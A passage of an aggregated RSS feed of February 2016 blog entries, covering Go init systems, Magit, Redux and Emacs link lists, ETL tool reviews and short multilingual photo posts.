&lt;p&gt;Andy Milne, Mark McLaughlin, Rasmus Tamstorf, Alexey Stomakhin, Nicholas Burkard, Mitch Counsell, Jesus Canal, David Komorowski, and Evan Goldberg. 2016. &lt;a href="https://dl.acm.org/citation.cfm?id=2927390"&gt;Flesh, Flab, and Fascia Simulation on &lt;em&gt;Zootopia&lt;/em&gt;&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2016 Talks&lt;/em&gt;. Article 34.&lt;/p&gt;

&lt;p&gt;Sean Palmer and Kendall Litaker. 2016. &lt;a href="https://dl.acm.org/citation.cfm?id=2927466"&gt;Artist Friendly Level-of-Detail in a Fur-Filled World&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2016 Talks&lt;/em&gt;. Article 32.&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Fri, 12 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2016/02/zootopia.html</guid></item><item><title>Writing my own init with Go - Part 3, Packaging/Configs</title><link>/posts/2016-02-12-packaging-myinit-and-configs/</link><description>When this post gained much traction in HackerNews and r/golang, I was both suprised and happy. The general interest made me more motivated to do more and write more. And also some good discussions happend on HackerNews thread that was &amp;amp; will be helpful to me. I decided to package myinit in Go, and rename it to gonit Contributions and ideas are welcome through email and in the issues of the GitHub repo.</description><author>Mustafa Akın</author><pubDate>Fri, 12 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">/posts/2016-02-12-packaging-myinit-and-configs/</guid></item><item><title>Generate go struct definition from json file</title><link>https://xenodium.com/generate-go-struct-definition-from-json-file</link><description>&lt;p&gt;From &lt;a href="https://github.com/bittersweet/dotfiles/blob/master/notes/go.txt#L3"&gt;Generate go struct definition from json file&lt;/a&gt;, and before I forget:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-go"&gt;curl http://url.tld/file.json | gojson -name=Repository
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 11 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/generate-go-struct-definition-from-json-file</guid></item><item><title>Doh! undo last commit (Magit edition)</title><link>https://xenodium.com/doh-undo-last-commit-magit-edition</link><description>&lt;p&gt;I previously noted &lt;a href="#doh-undo-last-git-commit"&gt;how to undo your last git commit (ie. soft reset)&lt;/a&gt;. Using Magit:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;M-x &lt;em&gt;magit-log-current&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Move point to prior revision.&lt;/li&gt;
&lt;li&gt;M-x &lt;em&gt;magit-reset-soft&lt;/em&gt; (defaults to revision at point).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Or if you want a single function:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(require 'magit)

(defun ar/magit-soft-reset-head~1 ()
  &amp;quot;Soft reset current git repo to HEAD~1.&amp;quot;
  (interactive)
  (magit-reset-soft &amp;quot;HEAD~1&amp;quot;))
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 11 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/doh-undo-last-commit-magit-edition</guid></item><item><title>Links - February 11th, 2016</title><link>https://faingezicht.com/links/2016/02/11/links/</link><description>&gt; “It is not that we have so little time but that we lose so much.” ― Seneca, On the Shortness of Life

As I said in my last post: attention is a zero sum game. I checked how much I have been reading online lately and I'm way below average (Yes, I keep stats on this. Yes, I know its nerdy). According to data from the past 2.5 years, I read about 10 articles per day (avg. 10.02, median 9) but in the last three weeks I've been floating between 5-7 per day. I think it will be impossible to keep up the usual 10-12 while maintaining my book reading goal and my new (bad?) habit of scrolling through Twitter a couple of times a day.

However, I'm proud to say that in the past couple of weeks I finished &lt;a href="http://www.amazon.com/Why-Information-Grows-Evolution-Economies/dp/0465048994"&gt;Why Information Grows&lt;/a&gt; and moved on to &lt;a href="http://www.amazon.com/Cool-Gray-City-Love-Francisco/dp/1608199606"&gt;Cool Gray City of Love&lt;/a&gt;. Some thoughts on those two are coming.</description><author>Avy Faingezicht</author><pubDate>Thu, 11 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/02/11/links/</guid></item><item><title>How to use bundler if the target node has no internet connection?</title><link>https://goshacmd.com/bundler-offline/</link><author>Gosha Spark</author><pubDate>Thu, 11 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/bundler-offline/</guid></item><item><title>Bolzplatz</title><link>https://rybakov.com/blog/bolzplatz/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_SDI0321s.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Die Flut kommt und bringt Sachen mit. Die Ebbe kommt, und zeigt sie.&lt;/p&gt;
&lt;p&gt;Manchmal kommen ältere Spieler und tragen den Müll zur Seite. Danach kommt wieder die Flut. Das ist der Lauf der Dinge.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Wed, 10 Feb 2016 21:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/bolzplatz/</guid></item><item><title/><link>https://rybakov.com/blog/batmen/</link><description>&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_P2M3940s.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Bats were flying.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Wed, 10 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/batmen/</guid></item><item><title>That's one Snappy MOOS</title><link>https://kyrofa.com/posts/that-s-one-snappy-moos/</link><description>So you&amp;rsquo;re a roboticist, looking at Ubuntu Core and Snappy, trying to decide if they&amp;rsquo;re a good fit for your project. You come across some ROS documentation and realize that the ROS support is first-class, but you&amp;rsquo;re not using ROS. No, you&amp;rsquo;re using the Mission Oriented Operating Suite (MOOS). Why is there no documentation on using MOOS? Because it&amp;rsquo;s too easy to need a document, that&amp;rsquo;s why (update: this remains true, but we wrote a quick one anyway).</description><author>kyrofa's blog</author><pubDate>Wed, 10 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/that-s-one-snappy-moos/</guid></item><item><title>[Computing] The Normativity Manifesto</title><link>https://www.devever.net/~hl/normativitymanifesto</link><description>&lt;p&gt;I previously wrote about &lt;a href="ncfgm"&gt;Normativity in Configuration Management&lt;/a&gt;.
I think the concept of normativity as I define it therein sufficiently
important to bang its drum a little. Thus, I here attempt to distill the
concept into a succinct form.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Wed, 10 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/normativitymanifesto</guid></item><item><title>Disappointment</title><link>https://rybakov.com/blog/babushka/</link><description>&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_P2M3886s.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Ребенок ищет сиську, а её уж нет.&lt;br /&gt;
Как мы сегодня, пришли, поснимали кино, пообещали на следущий день фотографии принести, а дома оказалось, что у мелкого фотопринтера, который специально с собой взяли нет чернил и бумаги.&lt;br /&gt;
Рррржжжррррррррр&amp;hellip;&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Tue, 09 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/babushka/</guid></item><item><title>Writing my own init with Go - Part 2</title><link>/posts/2016-02-09-forking-process-in-myinit-go/</link><description>I am working on myinit.go. Init process is no good if it cannot spawn other processes. I will use the other processes for critical functionality, i.e getting an IP address for future interactivity over SSH or maybe HTTP, or possibly Web Sockets. Because, why not?
Anyways, I modified myinit.go to following and put it in the /init folder to have a nicer structure. It basically spawns a new process, and prints it output.</description><author>Mustafa Akın</author><pubDate>Tue, 09 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">/posts/2016-02-09-forking-process-in-myinit-go/</guid></item><item><title>Безвременье</title><link>https://rybakov.com/blog/leto/</link><description>&lt;p&gt;Сегодня весь день провалялись дома. Я залечивал обгоревшую спину и ноги, а Кристоф отсыпался - он всю ночь смотрел Супербоул на телефоне. Да и просто после недели постоянной подготовки и работы, приятно ничего не делать.&lt;/p&gt;
&lt;p&gt;Как в детстве бывали такие летние дни - да что там - всё лето бывало, в безвременье. Встал, поел, что-то почитал, что-то написал, искупался в бассейне..&lt;br /&gt;
И вроде всё есть, но нет той обязательности, необходимости оптимизации и планирования. А есть просто долгие, медленные, солнечные дни.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Mon, 08 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/leto/</guid></item><item><title>Xcode Development Environment</title><link>https://june.kim/alcatraz/</link><author>june.kim</author><pubDate>Mon, 08 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/alcatraz/</guid></item><item><title>Blogging Workflow</title><link>https://june.kim/blogging-workflow/</link><author>june.kim</author><pubDate>Mon, 08 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/blogging-workflow/</guid></item><item><title>Code Highlighting in Jekyll</title><link>https://june.kim/code-highlighting-with-jekyll/</link><author>june.kim</author><pubDate>Mon, 08 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/code-highlighting-with-jekyll/</guid></item><item><title>Menu of View Controllers</title><link>https://june.kim/view-controller-menu/</link><author>june.kim</author><pubDate>Mon, 08 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/view-controller-menu/</guid></item><item><title>Writing my own init with Go - Part 1</title><link>/posts/2016-02-08-writing-my-own-init-with-go/</link><description>You may be wondering why would someone need to do that. I just want to experiment with Linux and build stuff with Go, so this is a nice option. I also found Linux distros to be completely confusing. So many files, a lot of stuff going on, weird and different type of config files of everything in system. Also, I hate my network-manager service in Ubuntu that it cannot reflect the changes in /etc/network/interfaces without a damn reboot.</description><author>Mustafa Akın</author><pubDate>Mon, 08 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">/posts/2016-02-08-writing-my-own-init-with-go/</guid></item><item><title>Heisengames and the importance of patience in business</title><link>https://bytepawn.com/heisengames-business.html</link><description>&lt;p&gt;Most bets businesses take, be it hiring, features, products or strategy don't  work out. Still, many businesses are successful despite setbacks. A negative attitude---even when the analysis of the situation is in fact correct---may be missing the bigger picture.&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Mon, 08 Feb 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/heisengames-business.html</guid></item><item><title>Modified Flapjacks</title><link>https://rjp.is/blogging/posts/modified-flapjacks-2/</link><description>In which we experiment with flapjacks.</description><author>infrequent oscillations</author><pubDate>Mon, 08 Feb 2016 00:04:09 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/modified-flapjacks-2/</guid></item><item><title>Der Ozean</title><link>https://rybakov.com/blog/ozean/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="swim" loop="true" poster="/video/swim/swim.jpg"&gt;
      &lt;source src="../video/swim/swim.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="swimbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="swimpaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Der Ozean ist sanft und verzeiht niemandem.&lt;br /&gt;
Der Ozean ist sanft und gibt den Rhythmus vor.&lt;br /&gt;
Gibt den Rhythmus vor mit Ebbe und Flut.&lt;br /&gt;
Gibt den Rhythmus vor mit jeder Welle, die ankommt und bricht.&lt;br /&gt;
Der Ozean atmet, und die Menschen passen sich dem Atem an, wie zwei Verliebte die einander umarmen.&lt;br /&gt;
Der Ozean ist laut: zuerst ist die Flut laut, dann die Welle, dann der Teil der Welle, der gerade aufbricht, dann das Tröpfchen, dann der Schaum. Sie sind laut, jeder für sich, jeder zu seiner Zeit und deswegen gar nicht so laut.&lt;/p&gt;
&lt;p&gt;Der Ozean ist ein atmendes Fraktal, und wenn Ikea Ozean verkaufen würde, für Zuhause, würde ich mir zwei holen.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sun, 07 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/ozean/</guid></item><item><title>Decoupling a ViewController</title><link>https://june.kim/decoupling-a-viewcontroller/</link><author>june.kim</author><pubDate>Sun, 07 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/decoupling-a-viewcontroller/</guid></item><item><title>[Computing] Zero-G Programming</title><link>https://www.devever.net/~hl/zerog</link><description>&lt;p&gt;There's a pattern in the design of libraries which I've come to call “zero-g
design”. A zero-g library is a library which only communicates with the wider
system via interfaces provided by the consumer of the library. Default
implementations may be provided which interface with the OS, but these can be
overridden. Additionally, globals are not used.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Sun, 07 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/zerog</guid></item><item><title>Snaily Updates: BrainHub + Runners, SnailLife Logo</title><link>https://liza.io/snaily-updates-logging/</link><description>&lt;p&gt;I finally have two BrainRunners working on a DigitalOcean droplet, and one BrainHub on another droplet queueing and assigning tasks to the runners.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 07 Feb 2016 01:44:15 GMT</pubDate><guid isPermaLink="true">https://liza.io/snaily-updates-logging/</guid></item><item><title>Cloud9: Cloud coding that actually works</title><link>https://bytepawn.com/cloud9.html</link><description>&lt;p&gt;For the past 2 months I've been using Cloud9 for writing code in the cloud, and I can wholeheartedly recommend it: it just works for me. It's basically Docker plus an IDE: you get a Docker container running Ubuntu that you can access over a web IDE.&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Sun, 07 Feb 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/cloud9.html</guid></item><item><title>Redux bookmarks</title><link>https://xenodium.com/redux-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/@spitzwegerich/a-different-way-of-supplying-react-components-with-state-1093f8f79802#.n1ffge76m"&gt;A different way of supplying React-components with state&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=11890229"&gt;A SoundCloud client in React and Redux (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/xgrommx/awesome-redux"&gt;Awesome redux&lt;/a&gt; (collection of libraries in ecosystem).&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=11886662"&gt;Building React Applications with idiomatic redux (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.boldlisting.com/connecting-redux-to-your-api-eac51ad9ff89#.nu7dpwklf"&gt;Connecting Redux to your API&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/markerikson/react-redux-links"&gt;Curated awesome Redux tutorial and resource links&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/acdlite/redux-actions"&gt;Flux Standard Action utilities for Redux&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/33992812/how-to-integrate-redux-with-very-large-data-sets-and-indexeddb"&gt;How to integrate Redux with very large data-sets and IndexedDB? (Stack Overflow)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@matt.krick/introducing-redux-operations-332ab56e468b#.buk8m7oug"&gt;Introducing Redux operations&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.madewithlove.be/post/redux/"&gt;Managing data flow on the client-side&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://redux.js.org/docs/introduction/Motivation.html"&gt;Motivation for flux&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/brentvatne/52af349a6b6ef2ee1b06"&gt;NavigationExperimental notes&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=76FRrbY18Bs"&gt;Preethi Kasireddy - MobX vs Redux: Comparing the Opposing Paradigms&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0#.plqwdhbyo"&gt;Presentational and Container Components&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rackt/react-redux"&gt;React-redux official bindings&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://egghead.io/courses/react-flux-architecture-es6"&gt;React: Flux Architecture (ES6) - Course by @joemaddalone @eggheadio&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://lucamezzalira.com/2016/03/08/reactive-programming-with-rxjs/"&gt;Reactive Programming with RxJS&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://redux.js.org/docs/advanced/AsyncActions.html"&gt;Redux async actions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/lexical-labs-engineering/redux-best-practices-64d59775802e#.7y43ask6a"&gt;Redux best practices&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://redux.js.org/docs/introduction/Examples.html#real-world"&gt;Redux code examples&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/markerikson/redux-ecosystem-links"&gt;Redux ecosystem links&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/acdlite/redux-promise"&gt;Redux promise&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/33726644/redux-state-persistence-with-a-database"&gt;Redux state persistence with a database (State Overflow)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/gaearon/redux-thunk"&gt;Redux thunk&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/32949859/redux-opinions-examples-of-how-to-do-backend-persistence/33055146"&gt;Redux: Opinions/examples of how to do backend persistence? (Stack Overflow)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/guangmingzizai/RefluxCocoa"&gt;RefluxCocoa: an implementation of Reflux in Objective-C&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jaysoo.ca/2016/02/28/organizing-redux-application/"&gt;Rules for structuring (redux) applications &lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/swlh/the-case-for-flux-379b7d1982c6#.7tcw9qi01"&gt;The case for flux&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jlongster.com/Two-Weird-Tricks-with-Redux"&gt;Two weird tricks with redux&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ServiceStackApps/typescript-redux"&gt;TypeScript Redux&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@lizdenhup/understanding-unidirectional-data-flow-in-react-3e3524c09d8e"&gt;Understanding unidirectional data flow in React – Elizabeth Denhup – Medium&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 06 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/redux-bookmarks</guid></item><item><title>Javascript tips backlog</title><link>https://xenodium.com/javascript-tips-backlog</link><description>&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://vinta.ws/code/tern-js-with-atom.html"&gt;Tern.js with Atom&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/sebmarkbage/ecmascript-rest-spread"&gt;Object spread syntax proposed for ES7&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} if (typeof myvar &lt;code&gt;=&lt;/code&gt; 'undefined') …&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} copy object and set with Object.assign({}, state, {property: newValue}).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Use ES6 computed property syntax.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} ES6 syntax: import * as reducers from './reducers'.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 06 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/javascript-tips-backlog</guid></item><item><title>Emacs lisp tips backlog</title><link>https://xenodium.com/emacs-lisp-tips-backlog</link><description>&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/mola-T/signal"&gt;Signal: a library offering enriched hook-like features&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://mbork.pl/2016-05-15_debug-on-whatever"&gt;Debugging tips&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://article.gmane.org/gmane.emacs.devel/202535"&gt;Examples of Emacs modules&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://gitlab.com/RobertCochran/neato-graph-bar"&gt;htop-like CPU and memory graphs for Emacs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/mola-T/timp"&gt;Timp: multithreading library&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.wilfred.me.uk/blog/2016/04/28/effortless-major-mode-development/"&gt;Effortless Major Mode Development&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/tkych/cl-spark"&gt;cl-spark implementation of Zach Holman's spark and Gil Gonçalves' vspark with little extension&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://endlessparentheses.com/new-in-emacs-25-1-map-el-library.html"&gt;map.el for map-like collections built-in as of 25.1&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/emacs-mirror/emacs/blob/master/lisp/emacs-lisp/map.el"&gt;Standard library for key/value data structures&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://oremacs.com/2015/01/11/pretty-elisp-regex/"&gt;Making Elisp regex look nicer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.gnu.org/software/emacs/manual/html_node/elisp/Porting-old-advices.html#Porting-old-advices"&gt;Adapting code using the old defadvice&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://endlessparentheses.com/new-on-elpa-and-in-emacs-25-1-seq-el.html"&gt;seq.el sequence library built-in as of 25.1&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/syohex/emacs-parson"&gt;Binding of parson JSON parser&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://puntoblogspot.blogspot.co.uk/2016/02/with-this-little-trick-helm-dash-gets.html?m=1"&gt;Helm-dash find-as-you-type&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://emacs.stackexchange.com/questions/12121/org-mode-parsing-rich-html-directly-when-pasting"&gt;Org mode - Parsing rich HTML directly when pasting? (Stack Overflow)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} From &lt;a href="https://twitter.com/_wilfredh/status/694643167056916480"&gt;@_wilfredh&lt;/a&gt;, use (interactive &amp;quot;*&amp;quot;) for commands that edit the buffer, so they show a helpful error if the buffer is read only.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 06 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-lisp-tips-backlog</guid></item><item><title>Debug Colors</title><link>https://june.kim/debug-colors/</link><author>june.kim</author><pubDate>Sat, 06 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/debug-colors/</guid></item><item><title>Put This View Over There</title><link>https://june.kim/put/</link><author>june.kim</author><pubDate>Sat, 06 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/put/</guid></item><item><title>Sprout Method</title><link>https://june.kim/sprout-method/</link><author>june.kim</author><pubDate>Sat, 06 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/sprout-method/</guid></item><item><title>[Mini] Linux hardware Issues</title><link>https://trigonaminima.github.io/2016/02/linux-hardware-issues/</link><description>OK, so this is my first mini. Idea of mini was brought on by the concept of shorts in the CS50 course and the periodic MINI episodes on the Data Skeptic podcast.</description><author>Playground</author><pubDate>Sat, 06 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2016/02/linux-hardware-issues/</guid></item><item><title>[Computing] The Bourne Ambiguity</title><link>https://www.devever.net/~hl/bourne-ambiguity</link><description>&lt;p&gt;I have a great ambivalence about the Bourne shell. It is universally available
on any Unix system, and thus is one of the only truly portable, universal ways
of expressing behaviour in a Turing-complete language, such that it is
executable on UNIX without regard to architecture, binary executable formats,
ABIs, what other shells or scripting languages are available, etc. (This
property sees it used somewhat byzantinely in tools such as the &lt;code&gt;makeself&lt;/code&gt;
self-extracting archive generator, where binary data is appended to a Bourne
shell script. Not a lot of options.)&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Sat, 06 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/bourne-ambiguity</guid></item><item><title>[Computing] Nexuses Redux: Nativity</title><link>https://www.devever.net/~hl/nexus-nativity</link><description>&lt;p&gt;I previously wrote about &lt;a href="nexuses"&gt;nexuses&lt;/a&gt;. One pattern I've noticed with
regard to nexuses is that different languages are “native” to different
nexuses. It's thus useful to talk about languages (programming languages,
scripting languages, shells) with regard to their native nexus.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Sat, 06 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/nexus-nativity</guid></item><item><title>Luigi vs Airflow vs Pinball</title><link>https://bytepawn.com/luigi-airflow-pinball.html</link><description>&lt;p&gt;A spreadsheet comparing the three opensource workflow tools for ETL.&lt;br /&gt;&lt;br /&gt;&lt;img alt="Comparison" src="/images/airflow-luigi-pinball.png" style="width: 400px;" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Sat, 06 Feb 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/luigi-airflow-pinball.html</guid></item><item><title>Pinball review</title><link>https://bytepawn.com/pinball.html</link><description>&lt;p&gt;Pinball is an ETL tool written by Pinterest. Like Airflow, it supports defining tasks and dependencies as Python code, executing and scheduling them, and distributing tasks across worker nodes. It supports calendar scheduling (hourly/daily jobs, also visualized on the web dashboard). Unfortunately, I found Pinball has very little documentation, very few recent commits in the Github repo and few meaningful answers to Github issues by maintainers, while it's architecture is complicated and undocumented.&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Sat, 06 Feb 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/pinball.html</guid></item><item><title>Reading this felt like watching a Pixar movie: the humbling protagonist with a dream, embarking on…</title><link>https://olshansky.info/posts/2016-02-05-reading-this-felt-like-watching-a-pixar-movie-the-humbling-protagonist-with-a-dream-embarking-on/</link><description>You said your goal was to tell a story through dance, and in a way you managed to do it by writing this piece. Your passion for the art and…</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 05 Feb 2016 16:26:56 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/posts/2016-02-05-reading-this-felt-like-watching-a-pixar-movie-the-humbling-protagonist-with-a-dream-embarking-on/</guid></item><item><title/><link>https://rybakov.com/blog/into-the-blue/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_SDI0213s.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Ich weiß immer noch nicht, ob Christoph wirklich telefoniert hat oder nur so getan hat.&lt;/p&gt;
&lt;p&gt;//update: er hat nur so getan.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Fri, 05 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/into-the-blue/</guid></item><item><title/><link>https://rybakov.com/blog/pushy-videos/</link><description>&lt;p&gt;I stopped watching videos on youtube or facebook, as they became too pushy. They always seem to want to change my world view and want to grab and yank my attention. How disrespectful.&lt;br /&gt;
